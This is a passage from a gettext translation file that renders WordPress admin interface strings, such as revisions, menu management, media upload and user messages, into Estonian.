msgstr "Taasta see automaatsalvestus"

#: wp-admin/revision.php:181
msgid "Revision by %s"
msgstr "Versiooni autor %s"

#: wp-admin/edit-form-advanced.php:397
msgid "<strong>Connection lost.</strong> Saving has been disabled until you&#8217;re reconnected."
msgstr "<strong>Internetiühenduse tõrge.</strong> Salvestamine on peatatud kuni ühenduse taastumiseni."

#: wp-admin/edit-form-advanced.php:398
msgid "We&#8217;re backing up this post in your browser, just in case."
msgstr "Teeme sellest postitusest brauseri abil igaks juhuks varukoopia."

#: wp-admin/revision.php:210
msgid "Sorry, something went wrong. The requested comparison could not be loaded."
msgstr "Vabandust, midagi läks nihu. Soovitud võrdlust ei õnnestunud laadida."

#: wp-admin/custom-background.php:359
msgctxt "Background Attachment"
msgid "Attachment"
msgstr "Manus"

#: wp-admin/user-edit.php:467
msgid "Repeat New Password"
msgstr "Korda uut parooli"

#: wp-admin/user-new.php:395
msgid "Repeat Password"
msgstr "Korda parooli"

#: wp-admin/includes/nav-menu.php:1163
msgid "Add menu items from the column on the left."
msgstr "Lisa menüüelemente vasakpoolsest veerust"

#: wp-admin/includes/plugin-install.php:129
msgid "Plugins extend and expand the functionality of WordPress. You may automatically install plugins from the <a href=\"%1$s\">WordPress Plugin Directory</a> or upload a plugin in .zip format via <a href=\"%2$s\">this page</a>."
msgstr "Pluginad täiendavad ja laiendavad WordPressi funktsioone. Pluginaid saab automaatselt paigaldada  <a href=\"%1$s\">WordPressi pluginakataloogist</a> või <a href=\"%2$s\">selle lehe kaudu</a> .zip-failidena üles laadida."

#. Plugin URI of the plugin/theme
msgid "http://wordpress.org/plugins/hello-dolly/"
msgstr "http://wordpress.org/plugins/hello-dolly/"

#: wp-admin/includes/class-wp-upgrader.php:53
msgid "The package contains no files."
msgstr "Pakis ei olnud ühtki faili."

#: wp-admin/includes/class-wp-upgrader.php:819
msgid "The theme contains no files."
msgstr "Teemas ei ole ühtki faili."

#: wp-admin/includes/class-wp-upgrader-skins.php:206
msgid "An error occurred while updating %1$s: <strong>%2$s</strong>"
msgstr "%1$s uuendamisel tekkis viga. Veateade: <strong>%2$s</strong>"

#: wp-admin/revision.php:108
msgid "To navigate between revisions, <strong>drag the slider handle left or right</strong> or <strong>use the Previous or Next buttons</strong>."
msgstr "Versioonide vahel liikumiseks kasuta <strong>vasak- või parempoolset slaiderit</strong> või nuppe <strong>Eelmine ja Järgmine</strong>."

#: wp-admin/press-this.php:624
msgid "Loading&hellip;"
msgstr "Laen&hellip;"

#: wp-admin/upload.php:150
msgid "Error in moving to trash."
msgstr "Viga prügikasti saatmisel."

#: wp-admin/upload.php:162
msgid "Error in restoring from trash."
msgstr "Viga prügikastist taastamisel."

#: wp-admin/post.php:244
msgid "The item you are trying to move to the Trash no longer exists."
msgstr "Elementi mida proovisid prügikasti saata ei ole enam olemas."

#: wp-admin/post.php:267
msgid "The item you are trying to restore from the Trash no longer exists."
msgstr "Elementi mida proovisid prügikastist taastada ei ole enam olemas."

#: wp-admin/post.php:285
msgid "This item has already been deleted."
msgstr "See element on juba kustutatud."

#: wp-admin/nav-menus.php:724
msgid "Drag each item into the order you prefer. Click the arrow on the right of the item to reveal additional configuration options."
msgstr "Lohista elemendid sobilikku järjekorda. Klõpsa elemendist paremal olevat noolekest nägemaks täiendavaid seadistusvõimalusi."

#: wp-admin/nav-menus.php:508
msgid "If you haven&#8217;t yet created any menus, <strong>click the &#8217;create a new menu&#8217; link</strong> to get started"
msgstr "Kui sa ei ole veel ühtki menüüd loonud <strong>klõpsa alustamiseks &#8217;Loo uus menüü&#8217; lingil</strong>"

#: wp-admin/revision.php:105
msgid "This screen is used for managing your content revisions."
msgstr "Sellel lehel saad hallata sinu loodud sisu versioone."

#: wp-admin/revision.php:106
msgid "Revisions are saved copies of your post or page, which are periodically created as you update your content. The red text on the left shows the content that was removed. The green text on the right shows the content that was added."
msgstr "Versioonid on sinu postituse või lehe salvestatud koopiad mis tekivad perioodiliselt sisu uuendades. Vasakul olev punane tekst näitab kustutatud sisu. Paremal olev roheline tekst näitab lisatud sisu."

#: wp-admin/revision.php:107
msgid "From this screen you can review, compare, and restore revisions:"
msgstr "Sellel lehel saad versioone vaadata, võrrelda ja taastada:"

#: wp-admin/revision.php:110
msgid "To restore a revision, <strong>click Restore This Revision</strong>."
msgstr "Versiooni taastamiseks <strong>klõpsa Taasta see versioon</strong>."

#: wp-admin/revision.php:119
msgid "<a href=\"http://codex.wordpress.org/Revision_Management\" target=\"_blank\">Revisions Management</a>"
msgstr "<a href=\"http://codex.wordpress.org/Revision_Management\" target=\"_blank\">Versioonide haldus (ingl.k)</a>"

#: wp-admin/revision.php:169
msgctxt "Followed by post revision info"
msgid "To:"
msgstr "Millega:"

#: wp-admin/revision.php:167
msgctxt "Followed by post revision info"
msgid "From:"
msgstr "Mis:"

#: wp-admin/revision.php:140
msgctxt "Button label for a previous revision"
msgid "Previous"
msgstr "Eelmine"

#: wp-admin/revision.php:144
msgctxt "Button label for a next revision"
msgid "Next"
msgstr "Järgmine"

#: wp-admin/nav-menus.php:377
msgid "Menu locations updated."
msgstr "Menüü asukohad uuendatud."

#: wp-admin/includes/revision.php:172
msgctxt "revision date short format"
msgid "j M @ G:i"
msgstr "j. M @ H:i"

#. translators: 1: audio album title, 2: artist name
#: wp-admin/includes/media.php:296
msgid "%1$s by %2$s."
msgstr "%1$s, %2$s."

#: wp-admin/includes/media.php:308
msgid "Released: %d."
msgstr "Avaldatud: %d."

#: wp-admin/includes/media.php:313
msgid "Track %1$s of %2$s."
msgstr "Lugu %1$s %2$sst."

#: wp-admin/includes/media.php:315
msgid "Track %1$s."
msgstr "Lugu %1$s."

#: wp-admin/includes/media.php:319
msgid "Genre: %s."
msgstr "Žanr: %s."

#: wp-admin/includes/media.php:2811
msgid "Audio Format:"
msgstr "Audio formaat:"

#: wp-admin/includes/media.php:2812
msgid "Audio Codec:"
msgstr "Audio koodek:"

#: wp-admin/includes/post.php:1481
msgid "Saving revision..."
msgstr "Salvestan versiooni..."

#: wp-admin/includes/post.php:1482
msgid "Your latest changes were saved as a revision."
msgstr "Sinu viimased muudatused salvestati versioonina."

#: wp-admin/nav-menus.php:494
msgid "This screen is used for managing your custom navigation menus."
msgstr "Sellel lehel saad hallata enda loodud navigatsioonimenüüsid."

#: wp-admin/nav-menus.php:496 wp-admin/themes.php:41
msgid "From this screen you can:"
msgstr "Sellelt lehelt saad:"

#: wp-admin/nav-menus.php:497
msgid "Create, edit, and delete menus"
msgstr "Luua, muuta ja kustutada menüüsid"

#: wp-admin/nav-menus.php:498
msgid "Add, organize, and modify individual menu items"
msgstr "Lisada, järjestada ja muuta üksikuid menüüelemente"

#: wp-admin/nav-menus.php:506
msgid "The menu management box at the top of the screen is used to control which menu is opened in the editor below."
msgstr "Menüühalduse kast lehe ülaosas määrab milline menüü avatakse allolevas editoris."

#: wp-admin/nav-menus.php:507
msgid "To edit an existing menu, <strong>choose a menu from the drop down and click Select</strong>"
msgstr "Olemasoleva menüü muutmiseks <strong>vali vastav menüü valikust ning klõpsa Vali</strong>"

#: wp-admin/nav-menus.php:509
msgid "You can assign theme locations to individual menus by <strong>selecting the desired settings</strong> at the bottom of the menu editor. To assign menus to all theme locations at once, <strong>visit the Manage Locations tab</strong> at the top of the screen."
msgstr "Sa saad määrata teemas võimaliku asukoha igale menüüle eraldi <strong>valides sobiliku seadistuse</strong> menüüeditori alaservas. Määramaks kõigile teema asukohtadele menüüsid ühe korraga <strong>kasuta Halda asukohti Manage Locations sakki</strong> lehe ülaservas."

#: wp-admin/nav-menus.php:513
msgid "Menu Management"
msgstr "Menüüde haldus"

#: wp-admin/nav-menus.php:517
msgid "Each custom menu may contain a mix of links to pages, categories, custom URLs or other content types. Menu links are added by selecting items from the expanding boxes in the left-hand column below."
msgstr "Iga menüü võib sisaldada linke lehtedele, kategooriatele, URLidele või muudele sisutüüpidele. Menüülinke saab lisada valides vastavad elemendid vaskapoolses veerus avanevatest kastidest."

#: wp-admin/nav-menus.php:519
msgid "Add one or several items at once by <strong>selecting the checkbox next to each item and clicking Add to Menu</strong>"
msgstr "Lisa üks või mitu elementi korraga <strong>valides need märkeruudu abil ning klõpsates Lisa menüüsse</strong>"

#: wp-admin/nav-menus.php:520
msgid "To add a custom link, <strong>expand the Links section, enter a URL and link text, and click Add to Menu</strong>"
msgstr "Vaba veebiviite lisamiseks <strong>ava viidete alajaotus, sisesta URL ja kuvatav tekst ning klõpsa Lisa menüüsse</strong>"

#: wp-admin/nav-menus.php:521
msgid "To reorganize menu items, <strong>drag and drop items with your mouse or use your keyboard</strong>. Drag or move a menu item a little to the right to make it a submenu"
msgstr "Menüüelementide järjestamiseks <strong>lohista need hiirega sobivale postsioonile või kasuta klaviatuuri</strong>. Lohista või liiguta menüüelementi veidi paremale loomaks alam-menüüd."

#: wp-admin/nav-menus.php:522
msgid "Delete a menu item by <strong>expanding it and clicking the Remove link</strong>"
msgstr "Menüüelemendi kustutamiseks <strong>ava see ja klõpsa Kustuta</strong>"

#: wp-admin/nav-menus.php:526
msgid "Editing Menus"
msgstr "Menüüde muutmine"

#: wp-admin/nav-menus.php:530
msgid "This screen is used for globally assigning menus to locations defined by your theme."
msgstr "Seda lehte kasutatakse menüüde paigutamiseks teemas määratud kohtadele."

#: wp-admin/nav-menus.php:531
msgid "To assign menus to one or more theme locations, <strong>select a menu from each location&#8217;s drop down.</strong> When you&#8217;re finished, <strong>click Save Changes</strong>"
msgstr "Paigutamaks menüüd ühele või mitmele kohale teemas <strong>vali vastav menüü iga asukoha juures kuvatud valikust.</strong> Kui oled valmis, <strong>klõpsa Salvesta muudatused</strong>"

#: wp-admin/nav-menus.php:532
msgid "To edit a menu currently assigned to a theme location, <strong>click the adjacent &#8217;Edit&#8217; link</strong>"
msgstr "Muutmaks menüüd mis on juba määratud teemas lubatud kohale <strong>klõpsa kõrval olevat &#8217;Muuda&#8217; linki</strong>"

#: wp-admin/nav-menus.php:533
msgid "To add a new menu instead of assigning an existing one, <strong>click the &#8217;Use new menu&#8217; link</strong>. Your new menu will be automatically assigned to that theme location"
msgstr "Kui soovid olemasoleva menüü määramise asemel luua uue <strong>klõpsa lingil &#8217;Loo uus menüü&#8217; linki</strong>. Uus menüü seotakse automaatsele selle asukohaga."

#: wp-admin/nav-menus.php:553
msgid "Edit Menus"
msgstr "Menüüde muutmine"

#: wp-admin/nav-menus.php:555
msgid "Manage Locations"
msgstr "Asukohtade haldamine"

#: wp-admin/nav-menus.php:572 wp-admin/nav-menus.php:578
msgid "Theme Location"
msgstr "Teemas lubatud asukoht"

#: wp-admin/nav-menus.php:573 wp-admin/nav-menus.php:579
msgid "Assigned Menu"
msgstr "Määratud menüü"

#: wp-admin/nav-menus.php:588
msgid "Select a Menu"
msgstr "Vali menüü"

#: wp-admin/nav-menus.php:600
msgctxt "menu"
msgid "Edit"
msgstr "Muuda"

#: wp-admin/nav-menus.php:606
msgctxt "menu"
msgid "Use new menu"
msgstr "Lisa uus menüü"

#: wp-admin/revision.php:198
msgid "Restore This Revision"
msgstr "Taasta see versioon"

#: wp-admin/nav-menus.php:400
msgid "Move up one"
msgstr "Liiguta ühe võrra üles"

#: wp-admin/nav-menus.php:401
msgid "Move down one"
msgstr "Liiguta ühe võrra alla"

#: wp-admin/nav-menus.php:402
msgid "Move to the top"
msgstr "Liiguta ülemiseks"

#. translators: %s: previous item name
#: wp-admin/nav-menus.php:404
msgid "Move under %s"
msgstr "Vii %s alla"

#. translators: %s: previous item name
#: wp-admin/nav-menus.php:406
msgid "Move out from under %s"
msgstr "Too %s alt ära"

#. translators: %s: previous item name
#: wp-admin/nav-menus.php:408
msgid "Under %s"
msgstr "%s all"

#. translators: %s: previous item name
#: wp-admin/nav-menus.php:410
msgid "Out from under %s"
msgstr "%s alt"

#. translators: 1: item name, 2: item position, 3: total number of items
#: wp-admin/nav-menus.php:412
msgid "%1$s. Menu item %2$d of %3$d."
msgstr "%1$s. Menüüelement %2$d %3$dst."

#. translators: 1: item name, 2: item position, 3: parent item name
#: wp-admin/nav-menus.php:414
msgid "%1$s. Sub item number %2$d under %3$s."
msgstr "%1$s. Alamelement %2$d %3$s all."

#: wp-admin/user-edit.php:522
msgid "Capabilities"
msgstr "Võimed"

#: wp-admin/user-edit.php:530
msgid "Denied: %s"
msgstr "Keelatud: %s"

#: wp-admin/includes/nav-menu.php:188
msgid "Move"
msgstr "Liiguta"

#: wp-admin/includes/nav-menu.php:189
msgid "Up one"
msgstr "Üks ülespoole"

#: wp-admin/includes/nav-menu.php:190
msgid "Down one"
msgstr "Üks allapoole"

#: wp-admin/includes/nav-menu.php:193
msgid "To the top"
msgstr "Ülemiseks"

#: wp-admin/nav-menus.php:723
msgid "Menu Structure"
msgstr "Menüü struktuur"

#: wp-admin/nav-menus.php:743
msgid "Menu Settings"
msgstr "Menüü seaded"

#: wp-admin/includes/template.php:2092
msgid "The backup of this post in your browser is different from the version below."
msgstr "Selle postituse varukoopia sinu brauseris erineb allolevast versioonist."

#: wp-admin/includes/template.php:2093
msgid "Restore the backup."
msgstr "Taasta varukoopia."

#: wp-admin/includes/template.php:2096
msgid "Post restored successfully."
msgstr "Postitus edukalt taastatud."

#: wp-admin/includes/template.php:2097
msgid "Undo."
msgstr "Ennista."

#: wp-admin/includes/ajax-actions.php:1152
msgid "Draft created on %1$s at %2$s"
msgstr "Mustand loodud %1$s kell %2$s"

#: wp-admin/includes/misc.php:730
msgid "%s has taken over and is currently editing."
msgstr "%s võttis üle ja toimetab hetkel."

#: wp-admin/includes/post.php:1467
msgid "Take over"
msgstr "Võta üle"

#: wp-admin/post.php:254
msgid "You cannot move this item to the Trash. %s is currently editing."
msgstr "Elementi ei saa prügikasti saata sest %s toimetab seda parasjagu."

#: wp-admin/nav-menus.php:631
msgid "Edit your menu below, or <a href=\"%s\">create a new menu</a>."
msgstr "Muuda menüüd või <a href=\"%s\">loo uus menüü</a>."

#: wp-admin/nav-menus.php:636
msgid "Select a menu to edit:"
msgstr "Vali menüü mida soovid muuta:"

#: wp-admin/nav-menus.php:677
msgid "or <a href=\"%s\">create a new menu</a>."
msgstr "või <a href=\"%s\">loo uus menüü</a>."

#: wp-admin/includes/ms.php:604
msgid "Thank you for Updating! Please visit the <a href=\"%s\">Upgrade Network</a> page to update all your sites."
msgstr "Tänud uuendamast! Palun külasta ka <a href=\"%s\">Uuenda võrku</a> lehte kõikide võrgustiku saitide uuendamiseks."

#: wp-admin/setup-config.php:335
msgid "All right, sparky! You&#8217;ve made it through this part of the installation. WordPress can now communicate with your database. If you are ready, time now to&hellip;"
msgstr "Nii, küünlad on kuivad ja säde olemas! Sa said paigaldamise esimese sammuga edukalt hakkama ja WordPress suudab andmebaasiga suhelda. Kui oled valmis, siis on paras hetk anda käsk&hellip;"

#: wp-admin/includes/nav-menu.php:102
msgid "sub item"
msgstr "alamelement"

#: wp-admin/includes/nav-menu.php:589
msgid "Link Text"
msgstr "Kuvatav tekst"

#: wp-admin/includes/nav-menu.php:1324
msgid "<strong>%1$s</strong> has been updated."
msgstr "<strong>%1$s</strong> on uuendatud."

#: wp-admin/nav-menus.php:270
msgid "Selected menus have been successfully deleted."
msgstr "Valitud menüüd on kustutatud"

#: wp-admin/nav-menus.php:713
msgid "Menu 1"
msgstr "Menüü 1"

#: wp-admin/nav-menus.php:724
msgid "Edit your default menu by adding or removing items. Drag each item into the order you prefer. Click Create Menu to save your changes."
msgstr "Muuda oma vaikemenüüd lisades või eemaldades elemente. Lohista elemendid sobilikku järjekorda. Klõpsa Loo menüü muudatuste salvestamiseks."

#: wp-admin/nav-menus.php:737
msgid "Give your menu a name above, then click Create Menu."
msgstr "Anna oma menüüle ülalpool nimi, seejärel klõpsa Loo menüü."

#: wp-admin/nav-menus.php:756
msgid "Auto add pages"
msgstr "Lehtede automaatne lisamine"

#: wp-admin/nav-menus.php:757
msgid "Automatically add new top-level pages to this menu"
msgstr "Lisa uued peataseme lehed automaatselt sellesse menüüsse"

#: wp-admin/nav-menus.php:763
msgid "Theme locations"
msgstr "Teema asukohad"

#: wp-admin/nav-menus.php:768
msgid "(Currently set to: %s)"
msgstr "(Praegu määratud asukohta: %s)"

#: wp-admin/plugin-editor.php:132
msgid "The Documentation menu below the editor lists the PHP functions recognized in the plugin file. Clicking Look Up takes you to a web page about that particular function."
msgstr "Allolev Dokumentatsiooni menüü loetleb plugina poolt toetatud PHP funktsioonid. Klõpsates Vaata satud vastavat funktsiooni kirjeldavale veebilehele."

#: wp-admin/plugin-editor.php:248 wp-admin/theme-editor.php:209
msgid "Look Up"
msgstr "Vaata"

#: wp-admin/theme-editor.php:29
msgid "For PHP files, you can use the Documentation dropdown to select from functions recognized in that file. Look Up takes you to a web page with reference material about that particular function."
msgstr "PHP-failide puhul võid kasutada Dokumentatsiooni valikut nägemaks võimalikke funktsioone. Link Vaata viib vasatva funktsiooni kirjelduse lehele."

#: wp-admin/includes/class-wp-posts-list-table.php:647
#: wp-admin/includes/misc.php:695
msgid "%s is currently editing"
msgstr "%s hetkel redigeerib"

#: wp-admin/includes/dashboard.php:1327
msgid "http://codex.wordpress.org/First_Steps_With_WordPress"
msgstr "http://codex.wordpress.org/First_Steps_With_WordPress"

#: wp-admin/edit-form-advanced.php:331
msgid "You can upload and insert media (images, audio, documents, etc.) by clicking the Add Media button. You can select from the images and files already uploaded to the Media Library, or upload new media to add to your page or post. To create an image gallery, select the images to add and click the &#8220;Create a new gallery&#8221; button."
msgstr "Saad üles laadida ja lisada meediafaile (pilte, helifaile, dokumente jne), klõpsates lisamise nuppu. Saad valida juba meediateeki üles laaditud piltide ja failide seast või laadida üles uusi, lisamaks neid oma postitusse või lehele. Pildigalerii loomiseks vali pildid ning klõpsa galerii loomise nuppu."

#: wp-admin/edit-form-advanced.php:332
msgid "You can also embed media from many popular websites including Twitter, YouTube, Flickr and others by pasting the media URL on its own line into the content of your post/page. Please refer to the Codex to <a href=\"http://codex.wordpress.org/Embeds\">learn more about embeds</a>."
msgstr "Samuti saad manustada meediasisu saitidelt nagu Twitter, YouTube, Flickr ja teised, kleepides soovitud meediasisu viite (URL-i) eraldi reale lehe või postituse sisus. Loe WordPressi Koodeksist <a href=\"http://codex.wordpress.org/Embeds\">täpsemalt meediamanuste kohta</a>."

#: wp-admin/includes/template.php:1993
msgid "New Media Manager"
msgstr "Uus meediahaldur"

#: wp-admin/includes/template.php:1994
msgid "Uploading files and creating image galleries has a whole new look. Check it out!"
msgstr "Failide üleslaadimise ja pildigaleriide loomise vaadete välimust on uuendatud. Proovi järele!"

#: wp-admin/includes/image-edit.php:158
msgid "Image rotation is not supported by your web host."
msgstr "Sinu veebiserver ei toeta piltide pööramist."

#: wp-admin/includes/bookmark.php:300
msgid "If you are looking to use the link manager, please install the <a href=\"%s\">Link Manager</a> plugin."
msgstr "Kui soovid kasutada viidete haldurit, sarnaselt vanemate WordPressi versioonidega, peaksid paigaldama <a href=\"%s\">Link Manager</a> -plugina."

#: wp-admin/includes/dashboard.php:1315
msgid "Manage <a href=\"%1$s\">widgets</a> or <a href=\"%2$s\">menus</a>"
msgstr "Halda <a href=\"%1$s\">mooduleid</a> või <a href=\"%2$s\">menüüsid</a>"

#: wp-admin/custom-background.php:143
msgid "To use a background image, simply upload it or choose an image that has already been uploaded to your Media Library by clicking the &#8220;Choose Image&#8221; button. You can display a single instance of your image, or tile it to fill the screen. You can have your background fixed in place, so your site content moves on top of it, or you can have it scroll with your site."
msgstr "Taustapildi kasutamiseks laadi see üles või kasuta mõnd olemasolevat pilti oma meediateegist, klõpsates nupule &#8220;Vali pilt&#8221;. Pilti saab kuvada üksikuna või määrata see mosaiigina korduma (ekraani täites). Tausta saab nii fikseerida kui ka panna koos tekstiga kerima."

#: wp-admin/custom-header.php:186
msgid "Don&#8217;t forget to click &#8220;Save Changes&#8221; when you&#8217;re done!"
msgstr "Kui oled lõpetanud, ära unusta klõpsata salvestusnuppu!"

#: wp-admin/edit-form-advanced.php:272
msgid "The title field and the big Post Editing Area are fixed in place, but you can reposition all the other boxes using drag and drop. You can also minimize or expand them by clicking the title bar of each box. Use the Screen Options tab to unhide more boxes (Excerpt, Send Trackbacks, Custom Fields, Discussion, Slug, Author) or to choose a 1- or 2-column layout for this screen."
msgstr "Pealkirjaväli ja suur postituse redaktoriala on fikseeritud, kuid kõiki teisi kastikesi saab lohistades ümber paigutada ja pealkirjale klõpsates suurendada-vähendada. Täiendavaid välju (väljavõte, autor jne) saab peita ja avada Ekraanivalikute alt, sealt võib valida ka ühe- ja kaheveerulise paigutuse vahel."

#: wp-admin/edit-form-advanced.php:336
msgid "Inserting Media"
msgstr "Meediafailide lisamine"

#: wp-admin/edit-form-advanced.php:342
msgid "Several boxes on this screen contain settings for how your content will be published, including:"
msgstr "Mitmed kastikesed siin sisaldavad sisu avaldamise seadeid, sealhulgas:"

#: wp-admin/edit-form-advanced.php:346
msgid "<strong>Format</strong> - Post Formats designate how your theme will display a specific post. For example, you could have a <em>standard</em> blog post with a title and paragraphs, or a short <em>aside</em> that omits the title and contains a short text blurb. Please refer to the Codex for <a href=\"http://codex.wordpress.org/Post_Formats#Supported_Formats\">descriptions of each post format</a>. Your theme could enable all or some of 10 possible formats."
msgstr "<strong>Vorming</strong> – postituse vorming määrab, mil moel sinu kujundusteema kuvab teatud postitust. Näiteks võib kujundusteemas olla ette valmistatud <em>standardne</em> vorming tavapärase, pealkirja ja pikema sisutekstiga blogipostituse jaoks, lisaks aga lühem <em>kõrval</em> -vorming, millel pealkirja pole. Täpsema teabe saamiseks vaata WordPressi Koodeksist <a href=\"http://codex.wordpress.org/Post_Formats#Supported_Formats\">postitusevormingute kirjeldusi</a>. Sinu kasutatav teema võib lubada kõiki 10 võimalikku vormingut või vaid mõningaid neist."

#: wp-admin/edit-form-advanced.php:357
msgid "Publish Settings"
msgstr "Avaldamise seaded"

#: wp-admin/edit-tags.php:215
msgid "<strong>Parent</strong> - Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have child categories for Bebop and Big Band. Totally optional. To create a subcategory, just choose another category from the Parent dropdown."
msgstr "<strong>Ülemrubriik</strong> – erinevalt siltidest võivad rubriigid moodustada hierarhia. Näiteks võib su saidil olla rubriik Jazz, mille all on alamrubriigid Bebop ja Big Band. See on aga täiesti mittekohustuslik. Lisamaks uut alamrubriiki, vali enne üks olemasolev rubriik."

#: wp-admin/widgets.php:68
msgid "When changing themes, there is often some variation in the number and setup of widget areas/sidebars and sometimes these conflicts make the transition a bit less smooth. If you changed themes and seem to be missing widgets, scroll down on this screen to the Inactive Widgets area, where all of your widgets and their settings will have been saved."
msgstr "Teemade vahetamisel muutub sageli moodulite arv ja asukoht ning vahel tekib sellest ka väike segadus. Kui peale teema vahetamist näib mõni moodul puuduvat, siis keri ekraani allapoole – seal asuvad väljalülitatud moodulid, mille kõik sätted on salvestatud."

#: wp-admin/includes/media.php:2535
msgid "You are using the multi-file uploader. Problems? Try the <a href=\"%1$s\" target=\"%2$s\">browser uploader</a> instead."
msgstr "Sul on üleslaadijaga probleeme? Proovi selle asemel <a href=\"%1$s\" target=\"%2$s\">veebilehitseja-põhist üleslaadimist</a>."

#: wp-admin/async-upload.php:62
msgctxt "media item"
msgid "Edit"
msgstr "Muuda"

#: wp-admin/custom-header.php:706
msgctxt "color"
msgid "Default: %s"
msgstr "Vaikimisi: %s"

#. translators: column name
#: wp-admin/includes/class-wp-media-list-table.php:251
msgctxt "column name"
msgid "Uploaded to"
msgstr "Lisatud:"

#: wp-admin/custom-background.php:410 wp-admin/custom-header.php:856
#: wp-admin/includes/ajax-actions.php:1845
msgid "The uploaded file is not a valid image. Please try again."
msgstr "Üles laaditud fail ei ole pildifail. Palun proovi uuesti."

#: wp-admin/custom-background.php:316
msgid "Choose a Background Image"
msgstr "Vali taustapilt"

#: wp-admin/custom-header.php:607
msgid "Choose a Custom Header"
msgstr "Vali kohandatud päisepilt"

#: wp-admin/custom-background.php:144
msgid "You can also choose a background color by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. &#8220;#ff0000&#8221; for red, or by choosing a color using the color picker."
msgstr "Samuti saad valida tausta värvi, klõpsates &#8220;Vali värv&#8221; ning sisestades selle HTML-is kasutatava 16-ndkoodina (nn hex, nt &#8220;#ff0000&#8221; tähistab punast tooni) või valides tooni avanenud värvivalijast."

#: wp-admin/custom-header.php:185
msgid "In the Header Text section of this page, you can choose whether to display this text or hide it. You can also choose a color for the text by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. &#8220;#ff0000&#8221; for red, or by choosing a color using the color picker."
msgstr "Osas &#8220;Päise tekst&#8221; saad valida, kas kuvada seda teksti või mitte. Samuti saad valida teksti värvi, klõpsates &#8220;Vali värv&#8221; ning sisestades HTML-is kasutatava 16-ndkoodi (nn hex, nt &#8220;#ff0000&#8221; tähistab punast tooni) või valides tooni avanenud värvivalijast."

#: wp-admin/customize.php:135
msgid "Theme Customizer Options"
msgstr "Teema kohandamise valikud"

#: wp-admin/options-reading.php:65
msgid "You can choose whether or not your site will be crawled by robots, ping services, and spiders. If you want those services to ignore your site, click the checkbox next to &#8220;Discourage search engines from indexing this site&#8221; and click the Save Changes button at the bottom of the screen. Note that your privacy is not complete; your site is still visible on the web."
msgstr "Võid valida, kas robotid ja otsisüsteemid indekseerivad sinu saiti või mitte. Kui soovid, et need teenused sinu saiti eiraks, keela siit indekseerimine ning salvesta muudatused. Tähelepanu – see ei taga täielikku privaatsust, kuna sait ise on siiski veebis kättesaadav."

#: wp-admin/includes/dashboard.php:1310
msgid "More Actions"
msgstr "Veel tegevusi"

#: wp-admin/includes/dashboard.php:1325
msgid "Turn comments on or off"
msgstr "Lülita kommentaarid sisse või välja"

#: wp-admin/includes/dashboard.php:1327
msgid "Learn more about getting started"
msgstr "Loe lähemalt alustamise kohta"

#: wp-admin/includes/media.php:2722
msgid "File URL:"
msgstr "Faili URL:"

#: wp-admin/edit-comments.php:127
msgid "In the <strong>In Response To</strong> column, there are three elements. The text is the name of the post that inspired the comment, and links to the post editor for that entry. The View Post link leads to that post on your live site. The small bubble with the number in it shows the number of approved comments that post has received. If the bubble is gray, you have moderated all comments for that post. If it is blue, there are pending comments. Clicking the bubble will filter the comments screen to show only comments on that post."
msgstr "<strong>Vastusena</strong>-veerus on kolm elementi. Kommenteeritud postituse pealkiri ja viited selle redigeerimiseks, postituse püsiviide, mis viib selle tegelikule asukohale veebilehel, ning numbriga mullike, mis näitab selle postituse heaks kiidetud kommentaaride arvu. Kui mullike on hall, on kõik selle postituse kommentaarid modereeritud, sinise mulli korral on modereerimisjärjekorras kommentaare. Mullikesele klõpsates näidatakse ainult selle postituse kommentaare."

#: wp-admin/includes/ms.php:390
msgid "Used: %1$s%% of %2$s"
msgstr "Kasutatud: %1$s%% / %2$s"

#: wp-admin/users.php:230
msgid "ID #%1$s: %2$s <strong>The current user will not be deleted.</strong>"
msgstr "ID #%1$s: %2$s <strong>Aktiivset kasutajat ei kustutata.</strong>"

#: wp-admin/users.php:232 wp-admin/users.php:342
msgid "ID #%1$s: %2$s"
msgstr "ID #%1$s: %2$s"

#: wp-admin/users.php:338
msgid "ID #%1$s: %2$s <strong>The current user will not be removed.</strong>"
msgstr "ID #%1$s: %2$s <strong>Aktiivset kasutajat ei saa eemaldada.</strong>"

#: wp-admin/users.php:340
msgid "ID #%1$s: %2$s <strong>You don't have permission to remove this user.</strong>"
msgstr "ID #%1$s: %2$s <strong>Sul pole õigust seda kasutajat eemaldada.</strong>"

#: wp-admin/users.php:220
msgid "Please select an option."
msgstr "Palun vali mõni ​​variant."

#: wp-admin/includes/ms.php:282
msgid "<strong>ERROR</strong>: The email address is already used."
msgstr "<strong>Viga</strong>: see e-postiaadress on juba kasutusel."

#: wp-admin/includes/image-edit.php:224 wp-admin/includes/image-edit.php:289
#: wp-admin/includes/image-edit.php:408
msgid "$image needs to be an WP_Image_Editor object"
msgstr "$image peab olema WP_Image_Editor -objekt"

#: wp-admin/includes/image-edit.php:336
msgid "Use WP_Image_Editor::rotate"
msgstr "Kasuta WP_Image_Editor::rotate"

#: wp-admin/includes/image-edit.php:358
msgid "Use WP_Image_Editor::flip"
msgstr "Kasuta WP_Image_Editor::flip"

#: wp-admin/includes/template.php:1222
msgid "The privacy options group has been removed. Use another settings group."
msgstr "Privaatsuse valikuterühm on eemaldatud. Vali mõni muu."

#: wp-admin/options-writing.php:183
msgid "WordPress is not notifying any <a href=\"http://codex.wordpress.org/Update_Services\">Update Services</a> because of your site&#8217;s <a href=\"%s\">visibility settings</a>."
msgstr "WordPress ei teavita <a href=\"http://codex.wordpress.org/Update_Services\">uuendusteenuseid</a>, kuna sinu saidi <a href=\"%s\">privaatsusseaded</a> ei luba seda."

#: wp-admin/includes/class-wp-themes-list-table.php:212
#: wp-admin/theme-editor.php:33 wp-admin/update-core.php:300
msgid "http://codex.wordpress.org/Child_Themes"
msgstr "http://codex.wordpress.org/Child_Themes"

#: wp-admin/includes/dashboard.php:299
msgid "Search Engines Discouraged"
msgstr "Otsimootorid on blokeeritud"

#: wp-admin/includes/dashboard.php:1279
msgid "Welcome to WordPress!"
msgstr "Tere tulemast WordPressi!"

#: wp-admin/includes/dashboard.php:1280
msgid "We&#8217;ve assembled some links to get you started:"
msgstr "Mõned viited, mis aitavad sul alustada:"

#: wp-admin/includes/dashboard.php:1284
msgid "Get Started"
msgstr "Alustamine"

#: wp-admin/includes/dashboard.php:1289
msgid "or, <a href=\"%s\">change your theme completely</a>"
msgstr "või <a href=\"%s\">paigalda täiesti erinev kujundusteema</a>"

#: wp-admin/includes/dashboard.php:1293
msgid "Next Steps"
msgstr "Järgmised sammud"

